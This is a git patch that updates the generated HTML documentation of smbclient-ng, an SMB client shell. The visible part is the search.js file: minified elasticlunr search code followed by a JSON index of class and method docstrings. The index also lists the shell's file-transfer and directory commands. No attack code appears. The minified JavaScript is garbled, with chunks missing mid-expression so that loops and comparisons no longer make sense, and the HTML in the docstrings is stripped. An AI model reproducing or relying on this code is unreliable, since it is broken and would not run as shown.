From 67a3ff23768c2b52a8ed4e732aef2d437a88bba4 Mon Sep 17 00:00:00 2001 From: "Remi GASCOU (Podalirius)" <79218792+p0dalirius@users.noreply.github.com> Date: Mon, 3 Jun 2024 10:54:38 +0200 Subject: [PATCH] Updated documentation --- documentation/search.js | 2 +- .../smbclientng/core/CommandCompleter.html | 1762 +++--- .../smbclientng/core/InteractiveShell.html | 3498 ++++++----- .../smbclientng/core/SMBSession.html | 5517 +++++++++-------- documentation/smbclientng/modules.html | 1 + documentation/smbclientng/modules/Find.html | 720 +-- .../smbclientng/modules/GPPPasswords.html | 1164 ++++ 7 files changed, 7142 insertions(+), 5522 deletions(-) create mode 100644 documentation/smbclientng/modules/GPPPasswords.html diff --git a/documentation/search.js b/documentation/search.js index e403dc1..3cc5033 100644 --- a/documentation/search.js +++ b/documentation/search.js @@ -1,6 +1,6 @@ window.pdocSearch = (function(){ /** elasticlunr - http://weixsong.github.io * Copyright (C) 2017 Oliver Nightingale * Copyright (C) 2017 Wei Song * MIT Licensed */!function(){function e(e){if(null===e||"object"!=typeof e)return e;var t=e.constructor();for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n]);return t}var t=function(e){var n=new t.Index;return n.pipeline.add(t.trimmer,t.stopWordFilter,t.stemmer),e&&e.call(n,n),n};t.version="0.9.5",lunr=t,t.utils={},t.utils.warn=function(e){return function(t){e.console&&console.warn&&console.warn(t)}}(this),t.utils.toString=function(e){return void 0===e||null===e?"":e.toString()},t.EventEmitter=function(){this.events={}},t.EventEmitter.prototype.addListener=function(){var e=Array.prototype.slice.call(arguments),t=e.pop(),n=e;if("function"!=typeof t)throw new TypeError("last argument must be a function");n.forEach(function(e){this.hasHandler(e)||(this.events[e]=[]),this.events[e].push(t)},this)},t.EventEmitter.prototype.removeListener=function(e,t){if(this.hasHandler(e)){var n=this.events[e].indexOf(t);-1!==n&&(this.events[e].splice(n,1),0==this.events[e].length&&delete this.events[e])}},t.EventEmitter.prototype.emit=function(e){if(this.hasHandler(e)){var t=Array.prototype.slice.call(arguments,1);this.events[e].forEach(function(e){e.apply(void 0,t)},this)}},t.EventEmitter.prototype.hasHandler=function(e){return e in this.events},t.tokenizer=function(e){if(!arguments.length||null===e||void 0===e)return[];if(Array.isArray(e)){var n=e.filter(function(e){return null===e||void 0===e?!1:!0});n=n.map(function(e){return t.utils.toString(e).toLowerCase()});var i=[];return n.forEach(function(e){var n=e.split(t.tokenizer.seperator);i=i.concat(n)},this),i}return e.toString().trim().toLowerCase().split(t.tokenizer.seperator)},t.tokenizer.defaultSeperator=/[\s\-]+/,t.tokenizer.seperator=t.tokenizer.defaultSeperator,t.tokenizer.setSeperator=function(e){null!==e&&void 0!==e&&"object"==typeof e&&(t.tokenizer.seperator=e)},t.tokenizer.resetSeperator=function(){t.tokenizer.seperator=t.tokenizer.defaultSeperator},t.tokenizer.getSeperator=function(){return t.tokenizer.seperator},t.Pipeline=function(){this._queue=[]},t.Pipeline.registeredFunctions={},t.Pipeline.registerFunction=function(e,n){n in t.Pipeline.registeredFunctions&&t.utils.warn("Overwriting existing registered function: "+n),e.label=n,t.Pipeline.registeredFunctions[n]=e},t.Pipeline.getRegisteredFunction=function(e){return e in t.Pipeline.registeredFunctions!=!0?null:t.Pipeline.registeredFunctions[e]},t.Pipeline.warnIfFunctionNotRegistered=function(e){var n=e.label&&e.label in this.registeredFunctions;n||t.utils.warn("Function is not registered with pipeline. This may cause problems when serialising the index.\n",e)},t.Pipeline.load=function(e){var n=new t.Pipeline;return e.forEach(function(e){var i=t.Pipeline.getRegisteredFunction(e);if(!i)throw new Error("Cannot load un-registered function: "+e);n.add(i)}),n},t.Pipeline.prototype.add=function(){var e=Array.prototype.slice.call(arguments);e.forEach(function(e){t.Pipeline.warnIfFunctionNotRegistered(e),this._queue.push(e)},this)},t.Pipeline.prototype.after=function(e,n){t.Pipeline.warnIfFunctionNotRegistered(n);var i=this._queue.indexOf(e);if(-1===i)throw new Error("Cannot find existingFn");this._queue.splice(i+1,0,n)},t.Pipeline.prototype.before=function(e,n){t.Pipeline.warnIfFunctionNotRegistered(n);var i=this._queue.indexOf(e);if(-1===i)throw new Error("Cannot find existingFn");this._queue.splice(i,0,n)},t.Pipeline.prototype.remove=function(e){var t=this._queue.indexOf(e);-1!==t&&this._queue.splice(t,1)},t.Pipeline.prototype.run=function(e){for(var t=[],n=e.length,i=this._queue.length,o=0;n>o;o++){for(var r=e[o],s=0;i>s&&(r=this._queue[s](r,o,e),void 0!==r&&null!==r);s++);void 0!==r&&null!==r&&t.push(r)}return t},t.Pipeline.prototype.reset=function(){this._queue=[]},t.Pipeline.prototype.get=function(){return this._queue},t.Pipeline.prototype.toJSON=function(){return this._queue.map(function(e){return t.Pipeline.warnIfFunctionNotRegistered(e),e.label})},t.Index=function(){this._fields=[],this._ref="id",this.pipeline=new t.Pipeline,this.documentStore=new t.DocumentStore,this.index={},this.eventEmitter=new t.EventEmitter,this._idfCache={},this.on("add","remove","update",function(){this._idfCache={}}.bind(this))},t.Index.prototype.on=function(){var e=Array.prototype.slice.call(arguments);return this.eventEmitter.addListener.apply(this.eventEmitter,e)},t.Index.prototype.off=function(e,t){return this.eventEmitter.removeListener(e,t)},t.Index.load=function(e){e.version!==t.version&&t.utils.warn("version mismatch: current "+t.version+" importing "+e.version);var n=new this;n._fields=e.fields,n._ref=e.ref,n.documentStore=t.DocumentStore.load(e.documentStore),n.pipeline=t.Pipeline.load(e.pipeline),n.index={};for(var i in e.index)n.index[i]=t.InvertedIndex.load(e.index[i]);return n},t.Index.prototype.addField=function(e){return this._fields.push(e),this.index[e]=new t.InvertedIndex,this},t.Index.prototype.setRef=function(e){return this._ref=e,this},t.Index.prototype.saveDocument=function(e){return this.documentStore=new t.DocumentStore(e),this},t.Index.prototype.addDoc=function(e,n){if(e){var n=void 0===n?!0:n,i=e[this._ref];this.documentStore.addDoc(i,e),this._fields.forEach(function(n){var o=this.pipeline.run(t.tokenizer(e[n]));this.documentStore.addFieldLength(i,n,o.length);var r={};o.forEach(function(e){e in r?r[e]+=1:r[e]=1},this);for(var s in r){var u=r[s];u=Math.sqrt(u),this.index[n].addToken(s,{ref:i,tf:u})}},this),n&&this.eventEmitter.emit("add",e,this)}},t.Index.prototype.removeDocByRef=function(e){if(e&&this.documentStore.isDocStored()!==!1&&this.documentStore.hasDoc(e)){var t=this.documentStore.getDoc(e);this.removeDoc(t,!1)}},t.Index.prototype.removeDoc=function(e,n){if(e){var n=void 0===n?!0:n,i=e[this._ref];this.documentStore.hasDoc(i)&&(this.documentStore.removeDoc(i),this._fields.forEach(function(n){var o=this.pipeline.run(t.tokenizer(e[n]));o.forEach(function(e){this.index[n].removeToken(e,i)},this)},this),n&&this.eventEmitter.emit("remove",e,this))}},t.Index.prototype.updateDoc=function(e,t){var t=void 0===t?!0:t;this.removeDocByRef(e[this._ref],!1),this.addDoc(e,!1),t&&this.eventEmitter.emit("update",e,this)},t.Index.prototype.idf=function(e,t){var n="@"+t+"/"+e;if(Object.prototype.hasOwnProperty.call(this._idfCache,n))return this._idfCache[n];var i=this.index[t].getDocFreq(e),o=1+Math.log(this.documentStore.length/(i+1));return this._idfCache[n]=o,o},t.Index.prototype.getFields=function(){return this._fields.slice()},t.Index.prototype.search=function(e,n){if(!e)return[];e="string"==typeof e?{any:e}:JSON.parse(JSON.stringify(e));var i=null;null!=n&&(i=JSON.stringify(n));for(var o=new t.Configuration(i,this.getFields()).get(),r={},s=Object.keys(e),u=0;u0&&t.push(e);for(var i in n)"docs"!==i&&"df"!==i&&this.expandToken(e+i,t,n[i]);return t},t.InvertedIndex.prototype.toJSON=function(){return{root:this.root}},t.Configuration=function(e,n){var e=e||"";if(void 0==n||null==n)throw new Error("fields should not be null");this.config={};var i;try{i=JSON.parse(e),this.buildUserConfig(i,n)}catch(o){t.utils.warn("user configuration parse failed, will use default configuration"),this.buildDefaultConfig(n)}},t.Configuration.prototype.buildDefaultConfig=function(e){this.reset(),e.forEach(function(e){this.config[e]={boost:1,bool:"OR",expand:!1}},this)},t.Configuration.prototype.buildUserConfig=function(e,n){var i="OR",o=!1;if(this.reset(),"bool"in e&&(i=e.bool||i),"expand"in e&&(o=e.expand||o),"fields"in e)for(var r in e.fields)if(n.indexOf(r)>-1){var s=e.fields[r],u=o;void 0!=s.expand&&(u=s.expand),this.config[r]={boost:s.boost||0===s.boost?s.boost:1,bool:s.bool||i,expand:u}}else t.utils.warn("field name in user configuration not found in index instance fields");else this.addAllFields2UserConfig(i,o,n)},t.Configuration.prototype.addAllFields2UserConfig=function(e,t,n){n.forEach(function(n){this.config[n]={boost:1,bool:e,expand:t}},this)},t.Configuration.prototype.get=function(){return this.config},t.Configuration.prototype.reset=function(){this.config={}},lunr.SortedSet=function(){this.length=0,this.elements=[]},lunr.SortedSet.load=function(e){var t=new this;return t.elements=e,t.length=e.length,t},lunr.SortedSet.prototype.add=function(){var e,t;for(e=0;e1;){if(r===e)return o;e>r&&(t=o),r>e&&(n=o),i=n-t,o=t+Math.floor(i/2),r=this.elements[o]}return r===e?o:-1},lunr.SortedSet.prototype.locationFor=function(e){for(var t=0,n=this.elements.length,i=n-t,o=t+Math.floor(i/2),r=this.elements[o];i>1;)e>r&&(t=o),r>e&&(n=o),i=n-t,o=t+Math.floor(i/2),r=this.elements[o];return r>e?o:e>r?o+1:void 0},lunr.SortedSet.prototype.intersect=function(e){for(var t=new lunr.SortedSet,n=0,i=0,o=this.length,r=e.length,s=this.elements,u=e.elements;;){if(n>o-1||i>r-1)break;s[n]!==u[i]?s[n]u[i]&&i++:(t.add(s[n]),n++,i++)}return t},lunr.SortedSet.prototype.clone=function(){var e=new lunr.SortedSet;return e.elements=this.toArray(),e.length=e.elements.length,e},lunr.SortedSet.prototype.union=function(e){var t,n,i;this.length>=e.length?(t=this,n=e):(t=e,n=this),i=t.clone();for(var o=0,r=n.toArray();o

\n"}, {"fullname": "smbclientng.core", "modulename": "smbclientng.core", "kind": "module", "doc": "

\n"}, {"fullname": "smbclientng.core.CommandCompleter", "modulename": "smbclientng.core.CommandCompleter", "kind": "module", "doc": "

\n"}, {"fullname": "smbclientng.core.CommandCompleter.CommandCompleter", "modulename": "smbclientng.core.CommandCompleter", "qualname": "CommandCompleter", "kind": "class", "doc": "

A class to handle command completion for the smbclient-ng shell.

\n\n

This class provides a command completion feature that suggests possible command names based on the current input.\nIt uses a dictionary to store commands and their descriptions, which helps in providing hints during the command line\ninteraction in the smbclient-ng shell.

\n\n

Attributes:\n smbSession (SMBSession): An instance of SMBSession which maintains the current SMB session.\n commands (dict): A dictionary containing command names as keys and their descriptions and subcommands as values.

\n\n

Methods:\n __init__(self, smbSession): Initializes the CommandCompleter with an SMBSession.

\n"}, {"fullname": "smbclientng.core.CommandCompleter.CommandCompleter.__init__", "modulename": "smbclientng.core.CommandCompleter", "qualname": "CommandCompleter.__init__", "kind": "function", "doc": "

\n", "signature": "(smbSession, config)"}, {"fullname": "smbclientng.core.CommandCompleter.CommandCompleter.commands", "modulename": "smbclientng.core.CommandCompleter", "qualname": "CommandCompleter.commands", "kind": "variable", "doc": "

\n", "default_value": "{'cd': {'description': ['Change the current working directory.', "Syntax: 'cd <directory>'"], 'subcommands': []}, 'close': {'description': ['Closes the SMB connection to the remote machine.', "Syntax: 'close'"], 'subcommands': []}, 'connect': {'description': ['Connect to the remote machine (useful if connection timed out).', "Syntax: 'connect'"], 'subcommands': []}, 'dir': {'description': ['List the contents of the current working directory.', "Syntax: 'dir'"], 'subcommands': []}, 'exit': {'description': ['Exits the smbclient-ng script.', "Syntax: 'exit'"], 'subcommands': []}, 'get': {'description': ['Get a remote file.', "Syntax: 'get [-r] <directory or file>'"], 'subcommands': []}, 'help': {'description': ['Displays this help message.', "Syntax: 'help'"], 'subcommands': ['format']}, 'info': {'description': ['Get information about the server and or the share.', "Syntax: 'info [server|share]'"], 'subcommands': ['server', 'share']}, 'lcd': {'description': ['Changes the current local directory.', "Syntax: 'lcd <directory>'"], 'subcommands': []}, 'lls': {'description': ['Lists the contents of the current local directory.', "Syntax: 'lls'"], 'subcommands': []}, 'lmkdir': {'description': ['Creates a new local directory.', "Syntax: 'lmkdir <directory>'"], 'subcommands': []}, 'lpwd': {'description': ['Shows the current local directory.', "Syntax: 'lpwd'"], 'subcommands': []}, 'lrm': {'description': ['Removes a local file.', "Syntax: 'lrm <file>'"], 'subcommands': []}, 'lrmdir': {'description': ['Removes a local directory.', "Syntax: 'lrmdir <directory>'"], 'subcommands': []}, 'ls': {'description': ['List the contents of the current remote working directory.', "Syntax: 'ls'"], 'subcommands': []}, 'ltree': {'description': ['Displays a tree view of the local directories.', "Syntax: 'ltree [directory]'"], 'subcommands': []}, 'mkdir': {'description': ['Creates a new remote directory.', "Syntax: 'mkdir <directory>'"], 'subcommands': []}, 'module': {'description': ['Loads a specific module for additional functionalities.', "Syntax: 'module <name>'"], 'subcommands': []}, 'put': {'description': ['Put a local file or directory in a remote directory.', "Syntax: 'put [-r] <directory or file>'"], 'subcommands': []}, 'reconnect': {'description': ['Reconnect to the remote machine (useful if connection timed out).', "Syntax: 'reconnect'"], 'subcommands': []}, 'reset': {'description': ['Reset the TTY output, useful if it was broken after printing a binary file on stdout.', "Syntax: 'reset'"], 'subcommands': []}, 'rmdir': {'description': ['Removes a remote directory.', "Syntax: 'rmdir <directory>'"], 'subcommands': []}, 'rm': {'description': ['Removes a remote file.', "Syntax: 'rm <file>'"], 'subcommands': []}, 'shares': {'description': ['Lists the SMB shares served by the remote machine.', "Syntax: 'shares'"], 'subcommands': []}, 'use': {'description': ['Use a SMB share.', "Syntax: 'use <sharename>'"], 'subcommands': []}, 'tree': {'description': ['Displays a tree view of the remote directories.', "Syntax: 'tree [directory]'"], 'subcommands': []}}"}, {"fullname": "smbclientng.core.CommandCompleter.CommandCompleter.smbSession", "modulename": "smbclientng.core.CommandCompleter", "qualname": "CommandCompleter.smbSession", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.CommandCompleter.CommandCompleter.config", "modulename": "smbclientng.core.CommandCompleter", "qualname": "CommandCompleter.config", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.CommandCompleter.CommandCompleter.complete", "modulename": "smbclientng.core.CommandCompleter", "qualname": "CommandCompleter.complete", "kind": "function", "doc": "

Function to handle command completion in the LDAP console.

\n\n

This function completes the user\"s input based on the available options for commands in the LDAP console.

\n\n

Args:\n text (str): The current text input by the user.\n state (int): The current state of completion.

\n\n

Returns:\n str: The next completion suggestion based on the user\"s input state.

\n", "signature": "(self, text, state):", "funcdef": "def"}, {"fullname": "smbclientng.core.CommandCompleter.CommandCompleter.print_help", "modulename": "smbclientng.core.CommandCompleter", "qualname": "CommandCompleter.print_help", "kind": "function", "doc": "

Prints help information for a specific command or all commands if no command is specified.

\n\n

This method displays the help information for the command passed as an argument. If no command is specified,\nit prints the help information for all available commands. The help information includes the command syntax,\ndescription, and any subcommands associated with it. This method is designed to provide users with the necessary\nguidance on how to use the commands in the smbclient-ng shell.

\n\n

Args:\n command (str, optional): The command to display help information for. If None, help for all commands is displayed.

\n\n

Returns:\n None

\n", "signature": "(self, command=None):", "funcdef": "def"}, {"fullname": "smbclientng.core.CommandCompleter.CommandCompleter.print_help_format", "modulename": "smbclientng.core.CommandCompleter", "qualname": "CommandCompleter.print_help_format", "kind": "function", "doc": "

Prints the help information for the 'format' used in remote 'ls' and 'dir' commands.

\n\n

This function displays the format of file attributes used in the smbclient-ng shell. It explains the meaning\nof each character in the file attribute string, such as whether a file is read-only, hidden, or a directory.

\n", "signature": "(self):", "funcdef": "def"}, {"fullname": "smbclientng.core.Config", "modulename": "smbclientng.core.Config", "kind": "module", "doc": "

\n"}, {"fullname": "smbclientng.core.Config.Config", "modulename": "smbclientng.core.Config", "qualname": "Config", "kind": "class", "doc": "

Configuration handler for smbclientng.

\n\n

This class manages the configuration settings for the smbclientng tool, including debug and color output settings.\nIt provides a structured way to access and modify these settings throughout the application.

\n\n

Attributes:\n _debug (bool): Flag to enable or disable debug mode.\n _no_colors (bool): Flag to enable or disable colored output, depending on the platform.

\n\n

Methods:\n debug: Property to get or set the debug mode.\n no_colors: Property to get or set the colored output preference.

\n"}, {"fullname": "smbclientng.core.Config.Config.__init__", "modulename": "smbclientng.core.Config", "qualname": "Config.__init__", "kind": "function", "doc": "

\n", "signature": "(debug=False, no_colors=None)"}, {"fullname": "smbclientng.core.Config.Config.debug", "modulename": "smbclientng.core.Config", "qualname": "Config.debug", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.Config.Config.no_colors", "modulename": "smbclientng.core.Config", "qualname": "Config.no_colors", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.InteractiveShell", "modulename": "smbclientng.core.InteractiveShell", "kind": "module", "doc": "

\n"}, {"fullname": "smbclientng.core.InteractiveShell.command_arguments_required", "modulename": "smbclientng.core.InteractiveShell", "qualname": "command_arguments_required", "kind": "function", "doc": "

\n", "signature": "(func):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.active_smb_connection_needed", "modulename": "smbclientng.core.InteractiveShell", "qualname": "active_smb_connection_needed", "kind": "function", "doc": "

\n", "signature": "(func):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.smb_share_is_set", "modulename": "smbclientng.core.InteractiveShell", "qualname": "smb_share_is_set", "kind": "function", "doc": "

\n", "signature": "(func):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell", "kind": "class", "doc": "

Class InteractiveShell is designed to manage the interactive command line interface for smbclient-ng.

\n\n

This class handles user input, executes commands, and manages the state of the SMB session. It provides\na command line interface for users to interact with SMB shares, execute commands like directory listing,\nfile transfer, and more.

\n\n

Attributes:\n smbSession (SMBConnection): The active SMB connection session.\n debug (bool): Flag to enable or disable debug mode.\n smb_share (str): The current SMB share in use.\n smb_path (str): The current path within the SMB share.\n commandCompleterObject (CommandCompleter): Object to handle command completion and help generation.

\n\n

Methods:\n __init__(self, smbSession, debug=False): Initializes the InteractiveShell with the given SMB session and debug mode.\n run(self): Starts the command line interface loop, processing user input until exit.

\n"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.__init__", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.__init__", "kind": "function", "doc": "

\n", "signature": "(smbSession, config)"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.smbSession", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.smbSession", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.config", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.config", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.commandCompleterObject", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.commandCompleterObject", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.modules", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.modules", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.run", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.run", "kind": "function", "doc": "

\n", "signature": "(self):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.process_command", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.process_command", "kind": "function", "doc": "

\n", "signature": "(self, command, arguments=[]):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_cd", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_cd", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_close", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_close", "kind": "function", "doc": "

\n", "signature": "(self, arguments, command):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_get", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_get", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_help", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_help", "kind": "function", "doc": "

\n", "signature": "(self, arguments, command):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_info", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_info", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_lcd", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_lcd", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_lls", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_lls", "kind": "function", "doc": "

\n", "signature": "(self, arguments, command):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_lmkdir", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_lmkdir", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_lpwd", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_lpwd", "kind": "function", "doc": "

\n", "signature": "(self, arguments, command):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_lrm", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_lrm", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_lrmdir", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_lrmdir", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_ltree", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_ltree", "kind": "function", "doc": "

\n", "signature": "(self, arguments, command):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_ls", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_ls", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_mkdir", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_mkdir", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_module", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_module", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_put", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_put", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_reconnect", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_reconnect", "kind": "function", "doc": "

\n", "signature": "(self, arguments, command):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_reset", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_reset", "kind": "function", "doc": "

\n", "signature": "(self, arguments, command):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_rm", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_rm", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_rmdir", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_rmdir", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_shares", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_shares", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_tree", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_tree", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_use", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_use", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.LocalFileIO", "modulename": "smbclientng.core.LocalFileIO", "kind": "module", "doc": "

\n"}, {"fullname": "smbclientng.core.LocalFileIO.LocalFileIO", "modulename": "smbclientng.core.LocalFileIO", "qualname": "LocalFileIO", "kind": "class", "doc": "

Class LocalFileIO is designed to handle local file input/output operations within the smbclient-ng tool.\nIt provides functionalities to open, read, write, and manage progress of file operations based on the expected size of the file.

\n\n

Attributes:\n mode (str): The mode in which the file should be opened (e.g., 'rb', 'wb').\n path (str): The path to the file that needs to be handled.\n expected_size (int, optional): The expected size of the file in bytes. This is used to display progress.\n debug (bool): Flag to enable debug mode which provides additional output during operations.

\n\n

Methods:\n __init__(self, mode, path=None, expected_size=None, debug=False): Initializes the LocalFileIO instance.\n write(self, data): Writes data to the file and updates the progress bar if expected size is provided.\n read(self, size): Reads data from the file up to the specified size and updates the progress bar if expected size is provided.

\n"}, {"fullname": "smbclientng.core.LocalFileIO.LocalFileIO.__init__", "modulename": "smbclientng.core.LocalFileIO", "qualname": "LocalFileIO.__init__", "kind": "function", "doc": "

\n", "signature": "(\tmode,\tpath=None,\texpected_size=None,\tkeepRemotePath=False,\tdebug=False)"}, {"fullname": "smbclientng.core.LocalFileIO.LocalFileIO.mode", "modulename": "smbclientng.core.LocalFileIO", "qualname": "LocalFileIO.mode", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.LocalFileIO.LocalFileIO.path", "modulename": "smbclientng.core.LocalFileIO", "qualname": "LocalFileIO.path", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.LocalFileIO.LocalFileIO.dir", "modulename": "smbclientng.core.LocalFileIO", "qualname": "LocalFileIO.dir", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.LocalFileIO.LocalFileIO.debug", "modulename": "smbclientng.core.LocalFileIO", "qualname": "LocalFileIO.debug", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.LocalFileIO.LocalFileIO.expected_size", "modulename": "smbclientng.core.LocalFileIO", "qualname": "LocalFileIO.expected_size", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.LocalFileIO.LocalFileIO.keepRemotePath", "modulename": "smbclientng.core.LocalFileIO", "qualname": "LocalFileIO.keepRemotePath", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.LocalFileIO.LocalFileIO.write", "modulename": "smbclientng.core.LocalFileIO", "qualname": "LocalFileIO.write", "kind": "function", "doc": "

Writes data to the file.

\n\n

This method writes the specified data to the file and updates the progress bar with the amount of data written if the expected size is set.

\n\n

Args:\n data (bytes): The data to be written to the file.

\n\n

Returns:\n int: The number of bytes written.

\n", "signature": "(self, data):", "funcdef": "def"}, {"fullname": "smbclientng.core.LocalFileIO.LocalFileIO.read", "modulename": "smbclientng.core.LocalFileIO", "qualname": "LocalFileIO.read", "kind": "function", "doc": "

Reads a specified amount of data from the file.

\n\n

This method reads data from the file based on the size specified. It also updates the progress bar with the amount of data read if the expected size is set.

\n\n

Args:\n size (int): The number of bytes to read from the file.

\n\n

Returns:\n bytes: The data read from the file.

\n", "signature": "(self, size):", "funcdef": "def"}, {"fullname": "smbclientng.core.LocalFileIO.LocalFileIO.close", "modulename": "smbclientng.core.LocalFileIO", "qualname": "LocalFileIO.close", "kind": "function", "doc": "

Closes the file descriptor and optionally removes the file.

\n\n

This method ensures that the file descriptor is properly closed and the file is removed if specified.\nIt also stops the progress bar if it was initiated and cleans up the object by deleting it.

\n\n

Args:\n remove (bool): If True, the file at the path will be removed after closing the file descriptor.

\n", "signature": "(self, remove=False):", "funcdef": "def"}, {"fullname": "smbclientng.core.LocalFileIO.LocalFileIO.set_error", "modulename": "smbclientng.core.LocalFileIO", "qualname": "LocalFileIO.set_error", "kind": "function", "doc": "

Sets an error message in the progress bar's description and modifies the progress bar to show only essential columns.

\n\n

This method is used to communicate error states or important messages directly in the progress bar interface.\nIt updates the task description with the provided message and simplifies the progress bar to show only the text\nand download columns, removing other elements like speed and time remaining which may not be relevant in an error state.

\n\n

Args:\n message (str): The error or status message to display in the progress bar.

\n", "signature": "(self, message):", "funcdef": "def"}, {"fullname": "smbclientng.core.Module", "modulename": "smbclientng.core.Module", "kind": "module", "doc": "

\n"}, {"fullname": "smbclientng.core.Module.Module", "modulename": "smbclientng.core.Module", "qualname": "Module", "kind": "class", "doc": "

A parent class for all modules in the smbclient-ng tool.

\n\n

This class provides common attributes and methods that are shared among different modules.

